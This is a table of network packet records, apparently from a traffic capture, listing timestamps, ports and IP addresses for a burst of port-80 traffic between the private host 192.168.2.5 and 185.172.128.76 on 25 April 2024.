Apr 25, 2024 21:48:01.795412064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.795448065 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.795531034 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.795563936 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.795587063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.795619011 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.795639992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.795653105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.795665979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.795670986 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.795684099 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.795700073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.795701027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.795731068 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.795928955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.795964003 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.796120882 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.796154976 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.796190977 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.796230078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.796473980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.796520948 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.796526909 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.796560049 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.799026966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.799093962 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.799515009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.799567938 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.799571037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.799591064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.799602985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.799606085 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.799626112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.799642086 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.799669981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.799684048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.799704075 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.799710035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.799725056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.799735069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.799745083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.799767971 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.799796104 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.799832106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.799858093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.799891949 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.799906015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.799916983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.799927950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.799937010 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.799953938 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.799968958 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.800162077 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.800198078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.800219059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.800230026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.800250053 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.800272942 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.800303936 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.800342083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.800406933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.800420046 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.800431013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.800441980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.800456047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.800471067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.800530910 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.800565004 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.800591946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.800605059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.800625086 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.800638914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.800652981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.800688028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.800700903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.800733089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.800813913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.800825119 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.800837040 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.800858974 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.800873041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.800875902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.800905943 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.800940990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.800954103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.800972939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.800990105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.800990105 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.801021099 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.801034927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.801069975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.801098108 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.801110029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.801131964 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.801146984 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.801161051 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.801183939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.801192999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.801208019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.801220894 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.801239014 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.801244020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.801276922 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.801403046 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.801415920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.801435947 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.801453114 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.801476955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.801490068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.801510096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.801525116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.837722063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.837735891 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.837747097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.837759018 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.837822914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.837871075 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.846225977 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.846240044 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.846293926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.846654892 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.846802950 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.846968889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.847018003 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.847162962 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.847204924 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.847242117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.847279072 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.847332954 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.847372055 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.847476006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.847516060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.847559929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.847599030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.847600937 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.847630978 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.847666025 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.847701073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.847779989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.847819090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.847946882 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.847985983 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.848012924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.848025084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.848045111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.848062992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.848071098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.848109007 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.848134995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.848172903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.848241091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.848278046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.848340988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.848381042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.848407030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.848419905 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.848444939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.848462105 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.848485947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.848517895 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.848542929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.848577023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.848615885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.848632097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.848644972 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.848649979 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.848658085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.848661900 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.848673105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.848676920 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.848692894 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.848706961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.848736048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.848747969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.848758936 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.848768950 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.848782063 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.848798990 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.848807096 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.848845005 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.848910093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.848944902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.848953962 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.848967075 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.848985910 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.849001884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.849024057 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.849056005 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.849488020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.849528074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.850063086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.850075960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.850105047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.850146055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.850157022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.850179911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.850202084 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.850239038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.850250959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.850264072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.850270987 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.850286007 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.850300074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.850305080 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.850339890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.850364923 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.850398064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.850439072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.850472927 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.850498915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.850511074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.850533009 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.850547075 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.850553036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.850578070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.850585938 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.850615978 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.850642920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.850655079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.850673914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.850677967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.850687981 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.850707054 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.850795984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.850809097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.850831032 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.850843906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.850856066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.850888014 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.851010084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.851022959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.851032972 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.851042032 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.851046085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.851056099 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.851069927 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.851072073 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.851089001 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.851109028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.851175070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.851211071 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.852138996 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.852180958 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.852214098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.852226973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.852252007 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.852264881 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.852282047 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.852313042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.852324963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.852355957 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.852368116 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.852401972 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.852791071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.852830887 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.854015112 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.854026079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.854063988 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.854224920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.854264975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.855498075 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.855544090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.855602026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.855613947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.855635881 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.855655909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.855712891 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.855751038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.855871916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.855911970 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.855938911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.855969906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.855988026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.856021881 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.856045961 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.856081009 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.856105089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.856137991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.856153011 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.856184006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.856245041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.856286049 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.856297970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.856329918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.856337070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.856359959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.856369972 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.856390953 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.856465101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.856503963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.856504917 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.856537104 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.856570959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.856606960 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.856617928 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.856648922 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.856734037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.856774092 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.856784105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.856817007 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.856841087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.856852055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.856872082 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.856884003 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.856894970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.856928110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.856952906 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.856966019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.856986046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.857001066 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.857042074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.857076883 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.857091904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.857124090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.857136965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.857150078 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.857168913 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.857183933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.857259989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.857271910 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.857290030 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.857306004 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.857321024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.857335091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.857357025 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.857372999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.857374907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.857409954 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.857415915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.857465982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.857479095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.857485056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.857495070 CEST	80	49704	185.172.128.76	192.168.2.5
